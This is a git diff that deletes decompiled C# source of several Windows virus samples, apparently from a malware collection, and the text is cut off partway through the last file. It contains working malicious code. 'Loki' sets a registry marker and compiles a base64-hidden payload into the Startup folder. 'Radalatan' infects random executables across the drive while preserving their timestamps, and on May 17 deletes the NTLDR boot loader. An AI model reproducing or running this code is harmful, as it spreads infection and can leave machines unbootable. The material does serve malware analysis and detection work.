- string str7 = "Compilation failed:\n"; - foreach (CompilerError error in (CollectionBase) compilerResults.Errors) - str7 = str7 + error.ToString() + "\n"; - Console.WriteLine("There were compilation errors"); - Console.WriteLine(str7); - } - if (File.Exists(path)) - File.SetAttributes(path, FileAttributes.Hidden); - return path; - } - - public string Rand() - { - string str1 = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ"; - Random random = new Random(); - string str2 = ""; - for (int index = 0; index < random.Next(100); ++index) - str2 += (string) (object) str1[random.Next(str1.Length)]; - return str2; - } - - public void Generatekey(int e) - { - if (e == 1) - { - this.setKey(Encoding.ASCII.GetString(DES.Create().Key)); - this.setEncm(e); - } - else - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - this.setKey(Convert.ToBase64String(cryptoServiceProvider.Key)); - this.setIV(Convert.ToBase64String(cryptoServiceProvider.IV)); - this.setEncm(e); - } - } - - public bool Check() - { - if ((string) Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Loki", nameof (Loki), (object) nameof (Loki)) == nameof (Loki)) - return true; - Registry.LocalMachine.OpenSubKey("Software", true).CreateSubKey(nameof (Loki)).SetValue(nameof (Loki), (object) nameof (Loki)); - return false; - } - - public void GenerateMsg() - { - ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler(); - CompilerParameters options = new CompilerParameters(); - Random random = new Random(); - string str = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + (object) random.Next(100000) + ".exe"; - options.ReferencedAssemblies.Add("System.dll"); - options.ReferencedAssemblies.Add("System.Windows.Forms.dll"); - options.ReferencedAssemblies.Add("System.Data.dll"); - options.ReferencedAssemblies.Add("System.Drawing.dll"); - options.GenerateExecutable = true; - options.CompilerOptions = "/target:winexe"; - options.OutputAssembly = str; - string source = this.DeCode("dXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7IAp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7IAp1c2luZyBTeXN0ZW0uRGF0YTsgCnVzaW5nIFN5c3RlbS5EcmF3aW5nOyAKdXNpbmcgU3lzdGVtLlRleHQ7IAp1c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsgCm5hbWVzcGFjZSBzY3IgeyAKc3RhdGljIGNsYXNzIFByb2dyYW0gewogICBbU1RBVGhyZWFkXQogICBzdGF0aWMgdm9pZCBNYWluKCkgewpBcHBsaWNhdGlvbi5FbmFibGVWaXN1YWxTdHlsZXMoKTsKQXBwbGljYXRpb24uU2V0Q29tcGF0aWJsZVRleHRSZW5kZXJpbmdEZWZhdWx0KGZhbHNlKTsKQXBwbGljYXRpb24uUnVuKG5ldyBGb3JtMSgpKTsgCn0gCn0gCnBhcnRpYWwgY2xhc3MgRm9ybTEgewpwcml2YXRlIFN5c3RlbS5Db21wb25lbnRNb2RlbC5JQ29udGFpbmVyIGNvbXBvbmVudHMgPSBudWxsOwpwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBEaXNwb3NlKGJvb2wgZGlzcG9zaW5nKSB7CmlmIChkaXNwb3NpbmcgJiYgKGNvbXBvbmVudHMgIT0gbnVsbCkpIHsKY29tcG9uZW50cy5EaXNwb3NlKCk7Cn0KYmFzZS5EaXNwb3NlKGRpc3Bvc2luZyk7Cn0KcHJpdmF0ZSB2b2lkIEluaXRpYWxpemVDb21wb25lbnQoKSB7CnRoaXMuY29tcG9uZW50cyA9IG5ldyBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuQ29udGFpbmVyKCk7CnRoaXMubGFiZWwxID0gbmV3IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsKCk7CnRoaXMudGltZXIxID0gbmV3IFN5c3RlbS5XaW5kb3dzLkZvcm1zLlRpbWVyKHRoaXMuY29tcG9uZW50cyk7CnRoaXMuU3VzcGVuZExheW91dCgpOwp0aGlzLmxhYmVsMS5BdXRvU2l6ZSA9IHRydWU7CnRoaXMubGFiZWwxLkJhY2tDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLkJsYWNrOwp0aGlzLmxhYmVsMS5Gb250ID0gbmV3IFN5c3RlbS5EcmF3aW5nLkZvbnQoIk1pY3Jvc29mdCBTYW5zIFNlcmlmIiwgMjRGLCBTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUuUmVndWxhciwgU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0LlBvaW50LCAoKGJ5dGUpKDApKSk7CnRoaXMubGFiZWwxLkZvcmVDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLlJlZDsKdGhpcy5sYWJlbDEuTG9jYXRpb24gPSBuZXcgU3lzdGVtLkRyYXdpbmcuUG9pbnQoMTIsIDIwMSk7CnRoaXMubGFiZWwxLk5hbWUgPSAibGFiZWwxIjsKdGhpcy5sYWJlbDEuU2l6ZSA9IG5ldyBTeXN0ZW0uRHJhd2luZy5TaXplKDAsIDM3KTsKdGhpcy5sYWJlbDEuVGFiSW5kZXggPSAwOwp0aGlzLnRpbWVyMS5UaWNrICs9IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMudGltZXIxX1RpY2spOwp0aGlzLkF1dG9TY2FsZURpbWVuc2lvbnMgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZUYoNkYsIDEzRik7CnRoaXMuQXV0b1NjYWxlTW9kZSA9IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkF1dG9TY2FsZU1vZGUuRm9udDsKdGhpcy5CYWNrZ3JvdW5kSW1hZ2VMYXlvdXQgPSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxheW91dC5TdHJldGNoOwp0aGlzLkNsaWVudFNpemUgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZSg0NzIsIDQ1OSk7CnRoaXMuQ29udHJvbHMuQWRkKHRoaXMubGFiZWwxKTsKdGhpcy5Eb3VibGVCdWZmZXJlZCA9IHRydWU7CnRoaXMuRm9ybUJvcmRlclN0eWxlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMuRm9ybUJvcmRlclN0eWxlLk5vbmU7CnRoaXMuTmFtZSA9ICJGb3JtMSI7CnRoaXMuU2hvd0luVGFza2JhciA9IGZhbHNlOwp0aGlzLlRvcE1vc3QgPSB0cnVlOwp0aGlzLldpbmRvd1N0YXRlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMuRm9ybVdpbmRvd1N0YXRlLk1heGltaXplZDsKdGhpcy5Mb2FkICs9IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMuRm9ybTFfTG9hZF8xKTsKdGhpcy5SZXN1bWVMYXlvdXQoZmFsc2UpOwp0aGlzLlBlcmZvcm1MYXlvdXQoKTsKfQpwcml2YXRlIFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsIGxhYmVsMTsKcHJpdmF0ZSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5UaW1lciB0aW1lcjE7Cn0gCnB1YmxpYyBwYXJ0aWFsIGNsYXNzIEZvcm0xIDogRm9ybSB7IApwdWJsaWMgRm9ybTEoKSB7IApJbml0aWFsaXplQ29tcG9uZW50KCk7IAp9IApwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBPblBhaW50QmFja2dyb3VuZChQYWludEV2ZW50QXJncyBlKSB7IAplLkdyYXBoaWNzLkRyYXdSZWN0YW5nbGUobmV3IFBlbihDb2xvci5CbGFjayksIDAsIDAsIFNpemUuV2lkdGgsIFNpemUuSGVpZ2h0KTsgCn0gCnByaXZhdGUgdm9pZCBGb3JtMV9Mb2FkXzEob2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsgCnRoaXMuU2V0U3R5bGUoQ29udHJvbFN0eWxlcy5PcHRpbWl6ZWREb3VibGVCdWZmZXIgfCBDb250cm9sU3R5bGVzLlVzZXJQYWludCB8IENvbnRyb2xTdHlsZXMuQWxsUGFpbnRpbmdJbldtUGFpbnQsIHRydWUpOyAKdGhpcy5DYXB0dXJlID0gdHJ1ZTsgCkN1cnNvci5IaWRlKCk7IApCb3VuZHMgPSBTY3JlZW4uUHJpbWFyeVNjcmVlbi5Cb3VuZHM7IApXaW5kb3dTdGF0ZSA9IEZvcm1XaW5kb3dTdGF0ZS5NYXhpbWl6ZWQ7IApTaG93SW5UYXNrYmFyID0gZmFsc2U7IApEb3VibGVCdWZmZXJlZCA9IHRydWU7IApCYWNrZ3JvdW5kSW1hZ2VMYXlvdXQgPSBJbWFnZUxheW91dC5TdHJldGNoOyAKdGltZXIxLkludGVydmFsID0gMTAwMDsgCnRpbWVyMS5TdGFydCgpOyAKfSAKcHJpdmF0ZSB2b2lkIHNjcm9sbCgpIHsgCmxhYmVsMS5UZXh0ID0gIkluZmVjdGVkIHdpdGggTVNJTC5Mb2tpIGJ5IGZyZWUwbiB8IERvb21SaWRlcnoiOyAKUmFuZG9tIHIgPSBuZXcgUmFuZG9tKCk7IApsYWJlbDEuU2V0Qm91bmRzKHIuTmV4dCgxMDApLCByLk5leHQoMTAwMCksIHIuTmV4dCgxMDAwKSwgci5OZXh0KDEwMDApKTsKfQpwcml2YXRlIHZvaWQgdGltZXIxX1RpY2sob2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsKc2Nyb2xsKCk7Cn0KfSAKfSAK"); - compiler.CompileAssemblyFromSource(options, source); - } - - public void Send() - { - } - - private string DeCode(string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - public string getKey() => this.k; - - public void setKey(string key) => this.k = key; - - public string getIV() => this.iv; - - public void setIV(string i) => this.iv = i; - - public int getEncm() => this.encm; - - public void setEncm(int s) => this.encm = s; - } -} diff --git a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Program.cs b/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Program.cs deleted file mode 100644 index bcea23ac..00000000 --- a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Program.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Loki.Program -// Assembly: Loki, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 803A5091-7913-4057-8BFA-DEFEA0629B18 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567.exe - -using System; -using System.IO; - -namespace Loki -{ - internal class Program - { - private static void Main(string[] args) - { - Loki.Loki loki = new Loki.Loki(); - Random random = new Random(); - int num = 0; - if (random.Next(100) % 2 == 0) - num = 1; - int e = 1; - loki.Generatekey(e); - loki.Populate(Directory.GetCurrentDirectory()); - if (loki.Check()) - return; - loki.GenerateMsg(); - loki.Send(); - } - } -} diff --git a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.csproj b/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.csproj deleted file mode 100644 index db051fee..00000000 --- a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.csproj +++ /dev/null @@ -1,41 +0,0 @@ - - - - - Debug - AnyCPU - {8650BEB2-E230-416B-8E8F-D394A701746D} - WinExe - Loki - 1.0.0.0 - Loki - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.sln b/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.sln deleted file mode 100644 index b8b6b940..00000000 --- a/MSIL/Virus/MSIL/K/Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567/Virus.MSIL.Kilo.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Loki", "Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567.csproj", "{8650BEB2-E230-416B-8E8F-D394A701746D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8650BEB2-E230-416B-8E8F-D394A701746D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8650BEB2-E230-416B-8E8F-D394A701746D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8650BEB2-E230-416B-8E8F-D394A701746D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8650BEB2-E230-416B-8E8F-D394A701746D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AT.cs b/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AT.cs deleted file mode 100644 index 8c8f1372..00000000 --- a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AT.cs +++ /dev/null @@ -1,231 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: V1.AT -// Assembly: V1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 75B1FFE9-190F-41EC-A0FC-C0D6E565045F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.IO; -using System.Windows.Forms; - -namespace V1 -{ - [StandardModule] - internal sealed class AT - { - [STAThread] - public static void Main() - { - byte[] array1 = new byte[5120]; - byte[] array2 = new byte[5120]; - string executablePath = Application.ExecutablePath; - Process Expression; - try - { - FileStream fileStream1 = new FileStream(executablePath, FileMode.Open, FileAccess.Read); - fileStream1.Read(array1, 0, 5120); - if (new FileInfo(executablePath).Length >= 10240L) - { - try - { - fileStream1.Seek(-5120L, SeekOrigin.End); - fileStream1.Read(array2, 0, 5120); - fileStream1.Close(); - while (true) - { - string tempFileName = Path.GetTempFileName(); - try - { - FileSystem.Kill(tempFileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - string str = StringType.FromObject(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj((object) Path.GetDirectoryName(executablePath), Interaction.IIf(StringType.StrCmp(Strings.Right(Path.GetDirectoryName(executablePath), 1), "\\", false) == 0, (object) "", (object) "\\")), (object) Path.GetFileNameWithoutExtension(tempFileName)), (object) ".EXE")); - try - { - FileSystem.SetAttr(str, FileAttribute.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Copy(executablePath, str, true); - FileStream fileStream2 = new FileStream(str, FileMode.Open, FileAccess.Write); - fileStream2.Write(array2, 0, 5120); - fileStream2.Close(); - Expression = Process.Start(str, Interaction.Command()); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num; - if (num < 10) - { - checked { ++num; } - ProjectData.ClearProjectError(); - } - else - { - ProjectData.ClearProjectError(); - break; - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - fileStream1.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - string tempFileName1; - string[] strArray; - try - { - tempFileName1 = Path.GetTempFileName(); - Process process = new Process(); - ProcessStartInfo startInfo = process.StartInfo; - startInfo.FileName = "Cmd.exe"; - startInfo.Arguments = "/c dir \\*.exe /s/b/a-d >" + tempFileName1; - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - process.Start(); - process.WaitForExit(); - StreamReader streamReader = new StreamReader(tempFileName1); - strArray = streamReader.ReadToEnd().Split('\r'); - streamReader.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_38; - } - try - { - File.Create(tempFileName1).Close(); - FileSystem.Kill(tempFileName1); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - VBMath.Randomize(); - int num1 = 0; - int num2 = checked ((int) Math.Round((double) Conversion.Int(unchecked (VBMath.Rnd() * 25f)))); - int num3 = 0; - while (num3 <= num2) - { - try - { - FileInfo fileInfo = new FileInfo(Strings.Mid(strArray[checked ((int) Math.Round((double) Conversion.Int(unchecked (VBMath.Rnd() * (float) strArray.Length))))], 2)); - if (fileInfo.Length >= 5120L) - { - byte attr = checked ((byte) (uint) FileSystem.GetAttr(fileInfo.FullName)); - DateTime creationTime = fileInfo.CreationTime; - DateTime lastAccessTime = fileInfo.LastAccessTime; - DateTime lastWriteTime = fileInfo.LastWriteTime; - FileSystem.SetAttr(fileInfo.FullName, FileAttribute.Normal); - FileStream fileStream = new FileStream(fileInfo.FullName, FileMode.Open, FileAccess.ReadWrite); - fileStream.Read(array2, 0, 5120); - if (StringType.StrCmp(BitConverter.ToString(array2), BitConverter.ToString(array1), false) != 0) - { - fileStream.Seek(0L, SeekOrigin.Begin); - fileStream.Write(array1, 0, 5120); - fileStream.Seek(0L, SeekOrigin.End); - fileStream.Write(array2, 0, 5120); - } - else if (num1 < 30) - { - checked { --num3; } - checked { ++num1; } - } - else - break; - fileStream.Close(); - FileSystem.SetAttr(fileInfo.FullName, (FileAttribute) attr); - fileInfo.CreationTime = creationTime; - fileInfo.LastAccessTime = lastAccessTime; - fileInfo.LastWriteTime = lastWriteTime; - } - else if (num1 < 30) - { - checked { --num3; } - checked { ++num1; } - } - else - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (num1 < 30) - { - checked { --num3; } - checked { ++num1; } - ProjectData.ClearProjectError(); - } - else - { - ProjectData.ClearProjectError(); - break; - } - } - checked { ++num3; } - } -label_38: - if (!Information.IsNothing((object) Expression)) - { - ProcessStartInfo startInfo = Expression.StartInfo; - try - { - Expression.WaitForExit(); - FileSystem.SetAttr(startInfo.FileName, FileAttribute.Normal); - File.Create(startInfo.FileName).Close(); - FileSystem.Kill(startInfo.FileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - DateTime today = DateTime.Today; - if (today.Month != 5) - return; - if (today.Day != 17) - return; - try - { - string str = Strings.Left(Environment.SystemDirectory, 3) + "NTLDR"; - FileSystem.SetAttr(str, FileAttribute.Normal); - File.Create(str).Close(); - FileSystem.Kill(str); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AssemblyInfo.cs b/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.csproj b/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.csproj deleted file mode 100644 index 2f2d3857..00000000 --- a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.csproj +++ /dev/null @@ -1,42 +0,0 @@ - - - - - Debug - AnyCPU - {EA58E817-9281-4669-BFE5-27DE89B928B7} - WinExe - V1 - 0.0.0.0 - V1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.sln b/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.sln deleted file mode 100644 index 3eb3fcc2..00000000 --- a/MSIL/Virus/MSIL/R/Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a/Virus.MSIL.Radalatan.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "V1", "Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a.csproj", "{EA58E817-9281-4669-BFE5-27DE89B928B7}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EA58E817-9281-4669-BFE5-27DE89B928B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {EA58E817-9281-4669-BFE5-27DE89B928B7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EA58E817-9281-4669-BFE5-27DE89B928B7}.Release|Any CPU.ActiveCfg = Release|Any CPU - {EA58E817-9281-4669-BFE5-27DE89B928B7}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Hello.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Hello.cs deleted file mode 100644 index 4994f504..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Hello.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Hello -// Assembly: hello, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78185313-FB1E-476C-A9FD-BA8A56D694D3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7.exe - -internal class Hello -{ - private static void Main() - { - // ISSUE: unable to decompile the method. - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.csproj deleted file mode 100644 index 2b78caf9..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.csproj +++ /dev/null @@ -1,39 +0,0 @@ - - - - - Debug - AnyCPU - {72D58C81-974F-4786-92A7-698B07EF16B9} - Exe - hello - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.sln deleted file mode 100644 index 5a50b3f7..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7/Virus.MSIL.Small.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "hello", "Virus.MSIL.Small.b-1adb1928d12bc8309b4d2734a7d4700231035d1666f983e995079b4f167842c7.csproj", "{72D58C81-974F-4786-92A7-698B07EF16B9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {72D58C81-974F-4786-92A7-698B07EF16B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {72D58C81-974F-4786-92A7-698B07EF16B9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {72D58C81-974F-4786-92A7-698B07EF16B9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {72D58C81-974F-4786-92A7-698B07EF16B9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/AssemblyInfo.cs deleted file mode 100644 index ed834183..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyKeyFile("..\\..\\MSIL_Baizah.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyCopyright("(c) MyVWA")] -[assembly: AssemblyProduct("Baizah")] -[assembly: AssemblyCompany("MyVWA")] -[assembly: AssemblyDescription("MyVWA.Fa Made in Malaysia 2005")] -[assembly: AssemblyTitle("MSIL_Baizah")] -[assembly: AssemblyVersion("0.1.1.4904")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Baizah.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Baizah.cs deleted file mode 100644 index c2de9499..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Baizah.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSIL_Baizah.Baizah -// Assembly: MSIL_Baizah, Version=0.1.1.4904, Culture=neutral, 